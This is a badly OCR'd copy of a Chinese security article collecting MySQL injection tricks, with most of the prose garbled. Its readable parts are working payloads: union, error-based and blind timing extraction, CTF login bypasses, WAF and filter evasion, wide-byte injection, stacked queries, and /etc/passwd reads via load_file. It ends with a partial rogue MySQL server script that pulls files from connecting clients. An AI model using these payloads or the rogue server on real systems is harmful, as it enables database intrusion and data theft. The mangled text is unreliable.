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SQL JEANEMEIB L Tricks B4 - &2%&, @2 HMFE

NEMAY SQLFAFERETRATEMNFRIVEE, NREH/VFNZEIRE T, 2RFTE

BIFZERIHS, ERREERRBZZMNER.

IS NEXW SQAL FAFERETRANZEINFRWER, AER/LENEHRNET, RATEEITFZERAVM
7, BEREEEREZSZNERN.

ZE:NEINT =Sk
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1. FAE
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FHENEBERANT, WREFMREBERE:

FREMNEWERNZ, MRIERE union E18RYE:

t databa

BRMUEEE MEMEE R

"union select group_concat(table_name) from information_schema.tables where table_schema=database()%23

) from informs

ETRETRE:

"union select group_concat(column_name) from information_schema.columns where table_name="table1'%23

 union sel group_ lumn_name) from information_s na. columns w

SEFRBEEWHENFE:

"union select flag from table1%23
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2021/6/20 SQLIE N FERHE B Tricks 45 - W%, REHINTA

from tablel;

— EARR SQL FATEMERT ,
2. fREEIEA
WETNEMNA mysql AEENNESS I HEWERNIE, EHOREFEEWT 10 #:

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by
x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

3. m/REE

~N¢2

2R ETZEEMM, —FREMERE True 5 False B9zERY, — 2 Order by B+,
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REMERE True 3§ False HYZEE!

MREWERARNZT, MIRE True (8FE Success Z3EH)) , SMIR[GE False
XITEALERE R, AJUEMEIREZ. FREMNFERENTR, BIORESERAMENES Eif
f5ll: parameter="or ascii(substr((select database()) ,1,1))<115—+

Orderby §iE

order by rand(True) A1 order by rand(False) & RAFF R AER, BJMRBEX N AERSITEE:

elect balabala from tablel where 1=1 order by rand(True):

= O

[a]

o

]

[}
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]
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order by rand(database()="pdotest’)

— = 2

[

=

0

N AT
(0 00 =¢
ALY -
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2021/6/20 SQLYE NFERHME I R Tricksp 2k - 2%, RAKIEE

RE]T True B9HEE, 1588 database()="pdotest’ & [FHRYE

4. [EEE
HESERZHE, BMfEEFA sa TANBERZEASBRIEN, FHIXE M ERLENEAMEINERED ER.
EIREEEEE & M

1.sleep(x)

id="or sleep(3)%23

id="or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
EWERIER, NIER 37, EiRNFLERT,
2.benchmark()

RE 1B FARIKERT :

E‘:

i

id="or benchmark(10000000,sha(1))%23

id="or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

AU IR MEA L ETIERT 3 7

or benct k (10000000, sha(1)) :

-

EEHRIROEEB T RS EE R

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0, (select count(*) from information_schema.tables

A, information_schema.tables B,information_schema.tables C),0)

e E RIGERT ALt 3 B

4.get_lock

BT LRSI —FPEE E)E, FEM T session, 1ES%—"1 session FIIHL:

select get_lock('test',1)

in set

SRIGEE ) session AR TE:

https://www.anquanke.com/post/id/205376#h3-2 5/22


https://s1.ax1x.com/2020/05/12/YUZcP1.png
https://s1.ax1x.com/2020/05/12/YUebTJ.png

2021/6/20

SQLENZEREFEH K Tricks B 45 - %, BEFINTEA

select get_lock('test’,5)

S—1TEO
S.rlike+rpad

road(1,3,a’) 218 a EERFE —(UMNFR B UARIE _UNKE
LA mysals.7 SR ARFAEN rpad() 1878 349525 i, M rpad() pILAETS 4 > 349525 i,
EJli=IREE R

select * from table1 where 1=1 and if(mid(user(),1,1)="r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a*)+(a.*)+

(a¥)+(aX)+(a*)+(a*)+asdasdsadasd',1);

M EMEEAMNNLAE AT KE, EN 0.3 ¥, &/EH asdasdasd W EKEBEXRTM, FIDUBKERELE
RESRE
X P REABZ 175

select * from table1 where 1=1 and if(mid(user(),1,1)="r',concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a")) RLIKE '(a*)+(a*)+(a*)+
(@aX¥)+(@x)+(aX)+
(a¥)+asaaaaaaaaaaaaaaaaaaaaaaaaaaanaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaanaaaaaaaaaaaaaaaaaaaaaanaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddddddddddddd',1);

XM REREZE 2 7
select * from table1 where 1=1 and if(mid(user(),1,1)="r",concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a*)+
(@¥)+(@*)+(@*)+
(a*)+asaaaaaaaaaaaaaanaaaaaaanaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaanaaaaaaanaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd

ddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasda
sdasd',1);

5.HTTP kiEA

FAF1E cookie 5 referer AFMEMIRENIG R, BRBHNEE basebd MNED mds FMEHE, EFAHIS LAREE,
6.HTTP D EIEAN

MREFAE—PEFR=, SE0Y username8password

FEIED) A select xxx from xxx where username="xxx" and password="xxx’

B2 username SHUTE 7IERR, A BEEAVTRE, WIS BREGERIE password TR, &R —%FMa0)
EERe e e EEIET):
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BHIANSEIRIEIN T RRIREEN -

W AR L) ANVRE/J RS W TR ) AL TV W YYUYIT  mE yUULUDT G FEITA. I CHIAS R UINIUD ER oy

<{center><hl>Please login!</h1></center><br><{center>tips:post username and password...</center>
{!-— $sql="select #* from users where username="§username’ and password="§password’”; —>

POST Swebd baccus Index. php HT TR 1.1 A HTTP/ 1.1 200 Ok
Hast! ot FE. shiyanbar.com - Datea: Sun, 14 Jan 2018 14:08:34 GMT
User=Agent: Mozlla/ 5.0 (Windows NT 10.00 WinS4; x64; r/57.0) Sarver: Apache’ 2,418 [Win32) OpenssL/1.0.2e PHPR/5.2.17
Gecko/ 20100101 Firefor/57.0 H=Powerad-By: PHP/5.2.17
accept: text/ htmlapplication <html+xmlapplication’ <mhg=0.8,"q=0.8 Comtent—Length: 43
Accept—Language: Keap=Alhe: timesut=5, max=100
2h—GHN, 2heq=0.8, 2h=TWig=0.7, 2h—HIg=0.5 en—USq=0.3.emg=0.2 Connaection: Keap—Alke
Accept-Encoding: g2ip, deflate Content—Type: taxt/himl
Referer: httpy//ctf5.shivanbar.comweb/ boocus/ Index. php
Content—Type: application’ x—www—form—urlencoded ChrEMPATH syntax error: ~error_based_hpt-|
Content=Length: 86
Cookie!
HIM_IvE_ 3406 7353008150408 28451 GOFFBC3=1515643180,1515644790,15156698
13,1515833251;
HmM_Cw 3406F7353ab081 50405 B 2e4516dFFbea=1"viskor 12855825 2Cnick Name 2
3ATEGMOBXM BN EATBAT AN EAMBEMEC: gld=g TS565IZFmMElgActDMN:
=1 UMRkIhJBNGIRWNFqH:; 1
HIM_IpvE 3406735 30b091 50405828451 6aFFhe3=1515333311;
PHPSESS D=0ecomsihpdiueb23qoenaRIobFs
Connectlion: kesp=alle
Upgradge=Insecura-Reguests: 1
Cache—Cortrol: max—age=0
username=1' or extractualue’ &password=1"/1.concatiox7e, [select
dotabosel ) axFellor

H_""--..

=

v

e

? < + = Type a search term 0 matches ? < + = Type a search term

Done 263 bytes |

(& https://www.cnblogs.com/slye/p/8284806.html)
XERER T W MBS, F password S B R TR

select * from users where username="1" or extractvalue/*'and password="'1*/(1,concat(0x7e,(select database()),0x7¢e))) or ";

4

SR ENRBIEE 5| SRERIIR. WRIBARZHE, HLOBRZEMNS !

POST username=1" or if(ascii(substr(database(),1,1))=115,sleep(3),0) or "1&password=1
BERL

select * from users where username='1" or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password="1'

B —"F2 GYCTF FIRY—I8 sql JENA, BIEAREF:

<?php

$pdo = new PDO('mysal:host=localhost;dbname=sqlsql;charset=utf8;’, ’'xxx', ’xxx');
Spdo—rsetAttribute (PDO: : ATTR DEFAULT FETCH MODE, PDO::FETCH ASSOC) ;

$stmt = $pdo—rprepare(”SELECT username from users where username= ${ POST[ username’]}’ and password="${_POST[ password ]} ");

$stmt—rexecute () ;
Sresult = $stmt->fetchAll():
if (count($result) > 0) {
if (Sresult[0]1[username’] == admin') {
include(’ flag. php’ ) ;
exit();

I8 T AL, union, it,—+,/*,"or,
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2021/6/20 SQLYEE AIERIAER K Tricks B4k - 2%, LAVHITR
XAE EEAREM or 1="1HBREARMN AT AR A KAIEET .
FIAZ [BFF password fENRERISECK A E1ET)

username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and"l
R

select username from users where username='admin'and(stremp(‘and password="','asdasdasdasdasdasd'))and'1’

stremp B8R, ZH&A—HOR[E True, —EUR[E False, M MySQL & 1T #IBTRAEE 1, BD True, HUINZEEEGILE
8N True

TRENERE B WIERIER payload Bt EIRSSEFMEELUEED, EEREEBUEEERTT SQL ERPHRN
FEEERY SQL JEA B

BRUNEF / T80 SQL BB LU, HY5 username 171 session 1, MEEFH Y GRS AEG
BEIIE, N

select * from users where username="$_SESSION[ ‘username’ |’
MWEATEEMBERE D EANIED B AZ session A, AEFEHEWHNRENSHIT SQL 1B6):
2 username=admin’'#, EFEETWEGN:

select * from users where username='admin’ #'
BAGEY T SQL JEAN.

8.SQL HYRW T
BRAEMAES username SE7E mysgl FAFERFBEZEAL, HEE unique B, 1®E 7 HKERN VARCHAR(20),

MFEATBEM— username H admin[20 P8 Jasd WA, R, NE mysgl HEGSFIMMESEEE, HELoEE, Il
SEET 20 MERIMAZIZURED, FRUBIEEFENEIERN admin(20 D], M ITEZNRE, SQL 15057288
=HE, FFNIEEFTEE T admin kS,

—. Eihtiged

AT IR R A LR R/ N ERIIE R :

SelECt * from table;
2. REGZI

AR IENFR BRI RS R

preg_replace(‘/select/’,” input)

MJRI A seselectlect from xxx KZET, #EMibs—71 select J=# FAIFLE select from xxx
3. MILER

JHHRBRTRE, AEBRNE S R IAT

Zsith mysql5.7 Mg :
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202176720 SQLEENFERHMEIE R Tricks B - Ko%, LAVOITA

1 row in set (0.00 sec)

BIAFSEET —L WAF, oi& 40T =4
B2, TEEBXBIEAIESF, I TEMNEOE AT (SE IR REERELERENRANIT)
select bbb from table1 where balabala=" union se/*//lect database()*/;
4. £ 16 #HHGEIIFEFR
MREERFERBNNERBRITIE, SEHIBEFERRELFEFREIIIE, MR 16 #Hilsd
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273 A users §9 16
5. RFT. Latin1 ZXIARDS

EN

ot

=

it

AT RS SHEEN, BRIZAN gbk wIBNIER N, MEHAFKES KFHLIEH, BW—TERFR

username = %df'#
ZgbkRIBEZN:
select * from users where username =& '#

RINHE T 855,
Latin1 4512

Mysal REVRIZENIAN latin1, WRIREFFEN utf8, NFE—LE latin A utf8 FISAENFRF, MM Mysal 21
MR RFRIE? B2

FR2BATAT LA ? username=admin%c?2, fFEEXRFFMZHN T admin
FEH %c2 BIIRA %c2-%ef ZBRTRTR

6. ETFRURRHNAE
HFRE:

B MySQL JFARIS

KEFH B KEBFF g‘{gﬁg o, F ;ZEEE’\]
false. !pi() 0 ceil(pi()*pi() A ceil((pi()+pi())*pi()) K
true. !(!pi()) 1 ceil(pi()*pi())+true B ceil(ceil(pi())*version()) L
true+true 2 ceil(pi()+pi()+version()) | C ceil(pi()*ceil(pi()+pi())) M
flanr(nil ) ~~nil) _ flanr(ni Y&l nil)) ) coill(nil)eaill nit N *nil) NI
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2021/6/20 SQLIEASERIHEH K Tricks i - A%, LAWHFA

" X REr N RE

BRI B BFRI)-0i) Sy &R1(5R))*ceil (version()) o
floor(version()) // JE&Ehk 5 | csilpiloilsversion)) | F ﬂoor(.pi()* | )
PN (version()+pi()))

ceil(version()) 6 | floor(pi()*version()) G floor(version()*version()) = Q
ceil(pi()+pi()) 7 ceil(pi()*version()) H ceil(version()*version()) R
floor(version()+pi()) 8 ceil(pi()*version())+true | | ceil(pi() il Joi()—pi()) S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) J floor(pi()pi(floor(pi())) T

Hepl(Ipi()) /0= 1 XN BRI, BARBREA,
FERFRHFNER

and -> &&

or -> ||

THE-> [**) -> %a0 -> %0a -> +

#->--+->,%00(php<=5.3.4) -> or '1'="1

= -> like -> regexp -> <> -> in

T regexp N IEMITCED, FIBIENSBLEMIOTIAFE
= ARHER
FRIBEE / PHEREC
8 https://xz.aliyun.com/t/7169
BRIZX 154 BA
SUBSTR(str,N_start,N_length) | XiEEFREHITEEL I SUBSTRING BIE £,

= FiE T SUBSTRING (str, pos) . SUBSTRING(str FROM pos).

SUBSTRING()

SUBSTRING(str,pos, len). SUBSTRING(str FROM pos FOR len),
RIGHT (str,len) NIEEFHFEMRABEHBEERE.,
LEFT(str,len) NIEEFHFEMREBHBEERE.,

£ str HH45T len IFERSE padstr, ROFIFHFSE., R str KEATF
RPAD(str,len,padstr) . ) . o

len, NMEREMEMNKERTERE len FAIEENKE.,
LPAD(str,len,padstr) 5 RPAD 8L, fEstriiithsT,
MID(str,pos,len) [EF SUBSTRING(str,pos,len),

HERAFRB str B, BELHE pos UFA, KERN len MFERFHNFRHEE
INSERT (str,pos,len,newstr) BRFFTR newstr, REREZITERENFRTE,
INSERT(str, len,1,0x0) °J 5 {5&E BV R 241,

CONCAT(str1,str2...) KB TFEZ T ERBEHN—TFERTE
GROUP_CONCAT(...) RE—NMFERFRER, ZERRDETNEEZESTA.

RIESE, REFTARMSHE, JBIEM/REE W
EXP(MAKE_SET ( (LENGTH(DATABASE())>8)+1,'1",'710")).

MAKE_SET(bits,str1,str2,...)

BRER / 1B 1588
LENGTH(str) REIFRENEKE,
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R4y / &G
REGEXP “statement”
LIKE “statement”
RLIKE “statement”
LOCATE(substr,str,[pos])

POSITION(substr IN str)

L OWER(str)
UPPER(str)
ELT(N,str1,str2,str3,...)
NULLIF(expr1,expr2)

CHARSET (str)

DECODE(crypt _str,pass_str)

7. ESRIEIE

fE'n'l

A join X

—1 union select 1,2,3

SQLH: N\ FEREIL I % Tricks A 4% - 224 %, REVINTES

RBATHI B ELE,
IENEEEYE, REMERNR/RE.,
ILEEUE, % AREEANS. REMENHRIE,
5 regexp 1H[E,

Bl FFRBE—RHINNIE,

=

Z£[5)F LOCATE().,

}

BFRENKRE 2EFER/NE, B LCASE(str),

RBFERENNEFEEEFERARS, [@: UCASE(str),

5MAKE_SET(bit,strl,str2...)Zl, RIENREZSEE,

£ exprl 5 expr2 8B, MhR[E exprl, ENH&RE] NULL,

CIFRFHERNFRE,

{$/8 pass_str fERNRE, BREINEFRS crypt_str, INEK

ENCODE(str,pass_str),

—1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit:
[imit 2,1
limit 1 offset 2

substr:

)

substr(database(

),5
substr(database() from 5 for 1) from IMB L TFERFFE, for IEEYL T
)

substr(database() from 5)

QD% for ‘HE%EZ /}f\T

mid(REVERSE(mid(database()from(=5)))from(-1)) reverse £&%%, mid 1 substr Z[E

if:
if(database()="xxx",sleep(3),1)

id=1 and databse()="xxx" and sleep(3)

select case when database()="xxx" then sleep(5) else 0 end

8.limit #&id3E
select user from users Iimit 1

POBRMIZMA, a0:

select user from users group by user_id having user_id = 1 (user_id 2&HAI—" column)

9.information_schema #id3E

innodb 5|22 mysgl.innodo_table_stats. innodb_index_stats,

BRIL 2 b, ZAFiER sys.schema_table_statistics_with_buffer.

77, REER TR

https://www.anquanke.com/post/id/205376#h3-2

% information_schema

g

/LJJT }E%E I{LE/]{EI u\laij

sys.schema_auto_increment_columns AT 10&
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2021/6/20 SQLEE NIERIHE B R Tricks 2% - A%, REKITEA
10.and or && || #iT3E
FRAEER N ~ ALK not xor LE:

a0

eg: select bbb from tablel where 29°="29 "if(ascii(substr(database(),1,1))>0,sleep(3),0)"1;
EN sleep(3), {ENITAVIE

=. FEHRNSE

1. RBBAMFERBARMALEN

join SENGEIFIE:

St BER (KSR T FRATEHINBET, NREAREIT HET IS R)
E—1IIE:

select * from(select * from table1 a join (select * from tablel)b)c

* from tablel a join (select * from tablel)b)c:

e column name 'balabala’

oIk

select * from(select * from table1 a join (select * from table1)b using(balabala))c

E="F:

select * from(select * from tablel a join (select * from table1)b using(balabala,eihey))c

nysql> select # select * from tablel a join
= - ; L

RROR 1060 (42521): cate column name * flag

https://www.anquanke.com/post/id/205376#h3-2
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DALESSHE. ...

fESEPR N BRI AR, Z1EG) R AR T HI R4

E T select xxx from xxx where 1'="1" and 124) ='a’

* from tablel where 1=(select * from(select * from tablel a join (select * from tablel)b using(balabala, ei

join MARIREIZIEN:

EARRESIRFZEERE, HEAFEMEY RSB FEASR

SKFBRIE union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3

ZAEBIEME (select 1,2,3,4 union select * from users) BEWRIERIFNZER b, REMNE b KI5 1/2/3/4 JIE W4

SR, 1.2,3,4 W EZERERNTI 2N ERBE.

select * from table1 where '1'=" or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)

2. E5F N & select #idE

select B —RIBEHESEIANNIE L T AIUGT, BRTIR T BIAEE select AJABE R password & flag 7
ﬁﬂﬁ@\a/ﬁi

HEE I ANNRE, FERNAEEMT:

1. FgmiE:

e, TMZRIERR 7 FhE SQL JENUAIMAPTIAZ KT SQL JENIEE, RIIBXRZI4:

id=1"Set @x=0x31;Prepare a from “select balabala from tablel where 1=?";Execute a using @x;

WA

set @x=0x73656c6563742062616c6162616c612066726(6d207461626c653120776865726520313d31;prepare a from @x;execute a;
FE—KE 16 #HH2E select balabala from tablel where 1=1 #9 16 #H 2z

2.Handler &1

Handler & Mysql 5B RERNEWIEC), HARLINAE SQL #xERF, PTLA SQL Server &2%F Handler &18/Y,
Handler EERIEE:

handler tablel open as fuck;// FJFEIA

handler fuck read first;// 128 FEE—5

handler fuck read next;// EFiBFER N—5

handler fuck close:// FxHE)1A
3.PHP IEMI[EH BUG

PHP 985 LEIEMIZRIATURY DDos, 44 pere 1R 1 BIRELERR, BOADD 100 3R, @TX 1 LRNIKLEE, NWEE
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1R[E] False,

BIENF1E preg_match(”/union.+?select/ig”,input) BOITIEIEN, WA TR DOET 915

union/*700 5 1~ */select
FIEIEZ30R
4.PDO 7= THY SQL iEA

PDO &E2%5 MI=TRE:

PDO::ATTR_EMULATE_PREPARES

PDO::ATTR_ERRMODE

PDO:MYSQL_ATTR_MULTI_STATEMENTS

E—TUNELIRIE, WRA False, MATFAE SQL JEN: WRA True, M PDO HIFEEWIREIFE, MERBAL
—RUNFRE, FEMERFR, XFNRE gk mIENEFERFTEN,

ETIMNIRE, WRIRA True, AJEESHE—LEE.
E=IMNZANT, RGN True, BHE—THA True, NIEGFEREF
FEBEEEBRNS —RXE:
MEFTENAR PDO BRI EH{E A
5.Limit SEN (5.7 lRAEBELZERR)
ST 5.0.0-5.6.6 iR
MRFHE—FIETN
select bbb from table1 limit 0,1
[EEEPIEZSEL, WA /EEE union select:
select bbb from table1 limit 0,1 union select database();

WREWIBGIIN T order by:

select bbb from table1 order by balabala limit 0,1
. WA MEBNEN:

select bbb from table1 order by balabala limit 0,7 PROCEDURE analyse(1,1)
Hr 1 rJ g0 B 50015 T)

6. IRV E X

(1) EERINS mysql error

BRRREFAE, XEFFREEERITAINF mysal error, alitE R EE

E”’viﬁﬁ& BRRENA

BHCHEH cot(0), pow(999999,999999), exp(710)

JLIAIR#T: polygon(ans), linestring(ans)

Fkb =T IN 40 AR K A AN B AS ST H YR /A -
https://www.anquanke.com/post/id/205376#h3-2
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SQLVEN LRSI T Tricks S 45 - 2%, REKIIES
ALLL H) LATSZAR | LAY 2 38 R4 4D T Y -

parameter=1 and &6 or cot(0)

EBONE, NREIFRERABEEEN cot(0); 1BONME, NHATREER cot(0) R

and 1 or

=

[

(i
)

=

(]

o

—

\I\

T ZAE

select * from table1 where 1=1 and if(mid(user(),1,1)="r',benchmark(10000000,sha1(1)),1) and cot(0);

=

select * from table1 where 1=1 and if(mid(user(),1,1)="r',concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a")) RLIKE '(a*)+(a*)+(a*)+
(a¥)+(aX)+(a*)+
(a*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
ddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasda
sdasd',1) and cot(0);

FH rpad+rlike BAKz benchmark B9RS (8] EERT AT, B2 sleep() ARIBA, TNRBRIR
(2) mysql error BIRTIE TIERT S A ERS
XNEEFERAE, MEAEEWERNAEEAY, —EE mysql error

AR RAIFE. ... A web BIBER 2 X EMNID S, insert JEANEBERTFEAN 20 FHIR, FIUNEAEIE
mysql error SEAZENBBABIENFENEFNEN. FIEN WEM Writeup + RHE

BMRESENAEZSNSERE, MELE rpad+rlike HIBTEEE, FAZEE sleep ML B 255 TR, BE2ANN
rpad+riike YIS, X THEMZE:

1Bz or if(1&48), rpad LEANIEE) ='a’,1) and cot(0)

X, TILEDEEER, E=MEEHNAT cot(0), WAk

MRIEBGNE, N, NRIECNER, WAL, XF5TEAR T B/
payload:

select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);
gf,

https://www.anquanke.com/post/id/205376#h3-2
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select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a*)+
(@*)+(@X)+(@*)+(ax)+
(a*)+asaaaaaaaaaaaaaaaaaaaaaanaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd

ddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasda
sdasd',1) and cot(0);

2R, LEERMIERIRA sleepl) M5 AR DARY,

FERE cot(0) =kEa, B cot(False) =ixta, PRARZEILAELA False NAEZNAT

FHIAIAIE sleep(x) RIIR[EHER O:

RERIRIE 7 T, 05T, sleep(3),0), XHFIBTANENEEZREIRE False

PAI9IE1EE)

select * from table1 where '1'="1" and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));

(8) &T&AAKRAN
RAKRMREEBERR, BIWEETEBIRE, XEABIZER,

M. X4aES
1. EEHR

T MYSQL XHEBRE v BIBATE 2L ENE, mysql SXEHARZET mysal =8 file_priv FE&, NNANE
BJ User, SR rIDIRE, WEIEEICEN Y, 28 N:

FATRILAUBIY user() BBHRIA/ A, NRNNAFLEARENR, WETE, RZMMFXFELEMLNTIE,

fRTEEERFPNR, ®B8—"TtHEE%E, Bl secure-file-priv,. E2—1TR%NEE, BATRHNEEINRE, ©RER
=M

(1) TRZE, BIFCRRA!
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202176120 SQLIE NIERHE B R Tricks 45 - R %, RAFINEE

(2) ) NULL, ERBIESHIES
(3) WEFH, ETNEEELEZ TS

PI A select @ @secure file priv BF&:

1 row in set

B A Windows P1E, AJTBARE B FA E:wampb4tmp
2. IEX

MRBE LA 2 PFHEF, MR EEEXHT,

T RESHRIBE B LR

select load_file(file_path);
load data infile "/etc/passwd" into table ZFEF7EHI7%X % FIELDS TERMINATED BY 'n'; #3ZEVARSS i S 14F
load data local infile "/etc/passwd" into table ZE2E7FE97E 2 FIELDS TERMINATED BY 'n'; #3520V 5 F i X 14+

FRIIRRE, fle_path MIUABX R, HRFHIFEFEN:

1 row in se

mysql> se

1 row in set (0.00 s

3.mysql EREX 4 EEURE
WEHEREIFM: https://paper.seebug.org/1112/

exn:
https://www.anquanke.com/post/id/205376#h3-2 17/22
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WA https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysal_server.py

NHE filelist EFEZBMAINMAIIR, FEEITRE, WWAHFE—TEE mysql BRSH, AT exp WIS
SN NIRC, EBImRSZEFER mysql BRSSIm

#!/usr/bin/env python
#coding: utf8

import socket

import asyncore

import asynchat

import struct

import random

import logging

import logging.handlers

PORT = 3306

log = logging.getLogger(__name_)

log.setlLevel(logging.DEBUG)

tmp_format = logging.handlers.WatchedFileHandler('mysgl.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))

log.addHandler(
tmp_format

filelist = (
# r'c:boot.ini!
r'c:windowswin.ini',
r'c:windowssystem32driversetchosts)

#

# 'Jetc/passwd,
# 'Jetc/shadow,
)

author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix"
warnings.warn('Cant create daemon on non-posix system')

return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
0s.umask(00022)
null=os.open(‘/dev/null', 0s.O_RDWR)
foriin xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def _init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):

self.packet_num = packet_type.packet_num + 1

https://www.anquanke.com/post/id/205376#h3-2

mysal AR

18/22


https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

2021/6/20 SQLE N\ FERtHe 78 J7 Tricks S 4% - 4%,

else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:

header = mysql_packet.packet_header.pack(payload_len, O, self.packet_num)

else:

header = mysqgl_packet.packet_header.pack(payload_len & OxFFFF, payload_len >> 16, O, self.packet_num)

result = "{0}1}".format(

header,
self.payload
)

return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])

payload = raw_data[1:]

return mysqgl_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth’
self.logined = False
self.push(
mysql_packet(
0,
" join((
'x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + ", # Version
#'5.1.66-0+squeezel' + ',
'x36x00x00x00', # Thread ID
‘evilsalt' + "', # Salt
'xdfxf7', # Capabilities
'x08', # Collation
'x02x00', # Server Status
"' *13, # Unknown
‘evil2222' + ",

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):

log.debug('Pushed: %r", data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN":

len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1

if len_bytes < 65536:

anlf cnt tAarmminatarllan hatAacs)
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STILST LIS HINIAWUI (IS _UYLED)
self.state = 'Data’
else:
self.state = 'MorelLength'
elif self.state == 'MorelLength":
if data[0] I= "
self.push(None)
self.close_when_done()
else:
self.state = 'Data’
elif self.state == 'Data":
